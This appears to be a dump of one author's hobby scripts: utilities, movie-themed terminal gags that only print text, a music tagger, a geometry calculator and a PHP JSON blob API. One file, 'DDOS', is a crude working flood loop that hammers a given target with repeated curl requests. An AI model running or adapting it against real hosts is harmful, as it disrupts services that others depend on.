├── .gitignore ├── matrix.py ├── DDOS ├── ps_logger ├── send ├── top40 ├── sshnuke ├── disable ├── id3_tag_from_filename ├── clock.html ├── calculate.py └── jsonblob.php /.gitignore: -------------------------------------------------------------------------------- 1 | config.php 2 | settings.php -------------------------------------------------------------------------------- /matrix.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This script outputs random numbers a la The Matrix 4 | 5 | # Author: Nick Young 6 | 7 | import random 8 | 9 | while 1: print random.randint(0,9), 10 | -------------------------------------------------------------------------------- /DDOS: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This script repeatedly makes requests to the target 4 | 5 | if [ $# -lt 1 ]; then 6 | echo "Specify target" 7 | exit 1 8 | fi 9 | 10 | target=$1 11 | 12 | while true; do 13 | curl -I $target>/dev/null 14 | echo tick 15 | done 16 | -------------------------------------------------------------------------------- /ps_logger: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This script logs currently running processes and logged in users 4 | 5 | # Author: Nick Young 6 | 7 | timestamp=`date +%Y-%m-%d_%H-%M-%S` 8 | ps=`ps -U root -u root -Naf` 9 | w=`w` 10 | echo " 11 | $timestamp 12 | 13 | $ps 14 | $w" >> ps.log 15 | -------------------------------------------------------------------------------- /send: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This script pipes the output of a script into a SMTP telnet session. The templated script should echo and sleep as appropriate. 4 | 5 | # Author: Nick Young 6 | 7 | if [ $# -lt 2 ]; then 8 | echo "Invalid number of parameters. Usage: send [tpl] [email]. Valid tpls:" 9 | ls tpl 10 | exit 1 11 | fi 12 | 13 | tpl=$1 14 | shift 15 | 16 | for ARG in $* 17 | do 18 | tpl/$tpl $ARG | telnet mailhost.auckland.ac.nz 25 19 | done 20 | 21 | -------------------------------------------------------------------------------- /top40: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This script prints the NZ Top 40 to the command line in the format Artist - Title 4 | # Requires requests and BeautifulSoup - pip install requests BeautifulSoup 5 | 6 | import requests 7 | from bs4 import BeautifulSoup 8 | 9 | r = requests.get("http://nztop40.co.nz") 10 | soup = BeautifulSoup(r.content) 11 | entries = soup.find_all(class_="p_title_artist") 12 | 13 | for e in entries: 14 | title = e.find(class_="p_title") 15 | artist = e.find(class_="p_artist") 16 | print "{} - {}".format(artist.text, title.text) -------------------------------------------------------------------------------- /sshnuke: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This script emulates the sshnuke program from the Matrix Reloaded 4 | 5 | # Author: Nick Young 6 | 7 | if [ $# -lt 2 ]; then 8 | echo "Invalid number of parameters. Usage: sshnuke -rootpw=\"\"" 9 | exit 1 10 | fi 11 | 12 | pw=$2 13 | pw=${pw#"-rootpw="} 14 | 15 | echo -n "connecting to $1:ssh ... " 16 | sleep 2 17 | echo "successful." 18 | echo -n "attempting to exploit SSHv1 CRC32 ... " 19 | sleep 5 20 | echo "successful." 21 | echo "resetting root password to \"$pw\"" 22 | sleep 2 23 | echo "system open: Access Level <9>" 24 | -------------------------------------------------------------------------------- /disable: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This script emulates the grid node disabling scene from The Matrix Reloaded 4 | 5 | # Author: Nick Young 6 | 7 | if [ $# -lt 5 ]; then 8 | echo "Invalid number of parameters. Usage: disable grid nodes - " 9 | exit 1 10 | fi 11 | 12 | low=$3 13 | high=$5 14 | echo "Warning: Disabling nodes $low-$high will disconnect sector 11 ($(($high-$low)) nodes)" 15 | echo "" 16 | read -p " ARE YOU SURE? (y/n) " 17 | echo "" 18 | 19 | if [ $REPLY == "y" ];then 20 | for i in $(seq $low $high);do 21 | sleep 1 22 | echo " Grid Node $i offline..." 23 | done; 24 | fi 25 | 26 | -------------------------------------------------------------------------------- /id3_tag_from_filename: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # This script sets the ID3 tags for mp3 files in the current directory, based on their filename. 4 | # Filenames should be in the format Artist - Title.mp3 5 | # There should be a jpg in the folder called folder.jpg, which will be attached to the images 6 | 7 | # Author: Nick Young 8 | 9 | eyeD3 --remove-all *.mp3 10 | 11 | album=24 12 | albumArtist="Various Artists" 13 | year=2014 14 | 15 | for f in *.mp3;do 16 | f=${f%.mp3} 17 | IFS=- read artist title <<< $f 18 | artist=$(echo $artist) 19 | title=$(echo $title) 20 | eyeD3 --artist="$artist" --album="$album" --album-artist="$albumArtist" --title="$title" --release-year=$year --add-image=folder.jpg:FRONT_COVER "$f.mp3" 21 | done 22 | 23 | eyeD3 --to-v2.3 *.mp3 24 | -------------------------------------------------------------------------------- /clock.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Clock 4 | 21 | 35 | 36 | 37 | 38 | 39 |
40 | 41 | 42 | -------------------------------------------------------------------------------- /calculate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This script, given a file containing places in the format [lat]\t[lng]\t[name]\n, calculates the triangles such that the area is close to zero 4 | # It uses the Haversine formula for calculating distance between lat longs and Heron's formula for calculating the area of arbitrary triangles 5 | # It can operate in parallel 6 | 7 | # Author: Nick Young 8 | 9 | import os 10 | import time 11 | from math import radians, cos, sin, asin, sqrt 12 | from multiprocessing import Pool 13 | from itertools import combinations 14 | 15 | # Used to limit the number of processes. If set to None then it is the number returned by cpu_count() 16 | PROCESSES = None 17 | 18 | # Input file 19 | FILENAME = "input.txt" 20 | 21 | #Calculate the great circle distance between two points on the earth (specified in decimal degrees) 22 | def haversine(lat1, lon1, lat2, lon2): 23 | # convert decimal degrees to radians 24 | lat1, lon1, lat2, lon2 = map(radians, [lat1, lon1, lat2, lon2]) 25 | # haversine formula 26 | dlon = lon2 - lon1 27 | dlat = lat2 - lat1 28 | a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2 29 | c = 2 * asin(sqrt(a)) 30 | # 6371 km is the radius of the Earth 31 | km = 6371 * c 32 | return km 33 | 34 | # Heron's formula 35 | def area(a, b, c): 36 | p = 0.5 * (a + b + c) 37 | return sqrt(p * (p - a) * (p - b) * (p - c)) 38 | 39 | def calc(lat1, lon1, lat2, lon2, lat3, lon3, name): 40 | lat1, lon1, lat2, lon2, lat3, lon3 = map(float, [lat1, lon1, lat2, lon2, lat3, lon3]) 41 | d1 = haversine(lat1, lon1, lat2, lon2) 42 | d2 = haversine(lat2, lon2, lat3, lon3) 43 | d3 = haversine(lat1, lon1, lat3, lon3) 44 | # Convert km to mm 45 | a = area(d1,d2,d3)*1000*1000 46 | # known threshold 0.000280423054145 square mm 47 | if a<.01: 48 | return "%s, (%skm, %skm, %skm), %s square mm" % (name,d1,d2,d3,a) 49 | 50 | def parse(d): 51 | try: 52 | p1 = d[0].split('\t') 53 | p2 = d[1].split('\t') 54 | p3 = d[2].split('\t') 55 | name = p1[2].strip()+'-'+p2[2].strip()+'-'+p3[2].strip() 56 | return calc(p1[0], p1[1], p2[0], p2[1], p3[0], p3[1], name) 57 | except Exception as e: 58 | return "%s for %s" % (e,name) 59 | 60 | if __name__ == "__main__": 61 | data = open(FILENAME).readlines() 62 | data = combinations(data,3) 63 | p = Pool(PROCESSES) 64 | res = p.imap_unordered(parse,data, 100000) 65 | for r in res: 66 | if r: 67 | print r 68 | -------------------------------------------------------------------------------- /jsonblob.php: -------------------------------------------------------------------------------- 1 | real_escape_string($_GET['id']); 27 | $result = $db->query("SELECT data FROM blobs WHERE id='$id'"); 28 | if ($result->num_rows==0) { 29 | http_response_code(404); 30 | print "Not a valid blob ID"; 31 | die; 32 | } 33 | http_response_code(200); 34 | header("Content-Type: application/json"); 35 | print $result->fetch_row()[0]; 36 | } else if ($METHOD=='POST') { 37 | $id = generateRandomString(); 38 | $data = $db->real_escape_string($REQUEST_BODY); 39 | $sql = "INSERT INTO blobs SET id='$id', data='$data'"; 40 | $db->query($sql); 41 | if (!empty($db->error)) { 42 | http_response_code(400); 43 | print $db->error; 44 | die; 45 | } 46 | http_response_code(201); 47 | $location = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "?id=$id"; 48 | header("Location: $location"); 49 | header("X-Jsonblob: $id"); 50 | echo $id; 51 | } else if ($METHOD=='PUT') { 52 | if (empty($_GET['id'])) { 53 | http_response_code(400); 54 | print "Blob ID cannot be empty"; 55 | die; 56 | } 57 | $id = $db->real_escape_string($_GET['id']); 58 | $data = $db->real_escape_string($REQUEST_BODY); 59 | $sql = "REPLACE INTO blobs SET id='$id', data='$data'"; 60 | $db->query($sql); 61 | if (!empty($db->error)) { 62 | http_response_code(400); 63 | print $db->error; 64 | die; 65 | } 66 | http_response_code(201); 67 | $location = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; 68 | header("Location: $location"); 69 | header("X-Jsonblob: $id"); 70 | echo $id; 71 | } else if ($METHOD=='DELETE') { 72 | if (empty($_GET['id'])) { 73 | http_response_code(400); 74 | print "Blob ID cannot be empty"; 75 | die; 76 | } 77 | $id = $db->real_escape_string($_GET['id']); 78 | $db->query("DELETE FROM blobs WHERE id='$id'"); 79 | if ($db->affected_rows==0) { 80 | http_response_code(404); 81 | } 82 | echo "Deleted"; 83 | } else { 84 | http_response_code(405); 85 | echo "METHOD NOT ALLOWED"; 86 | } 87 | 88 | ?> --------------------------------------------------------------------------------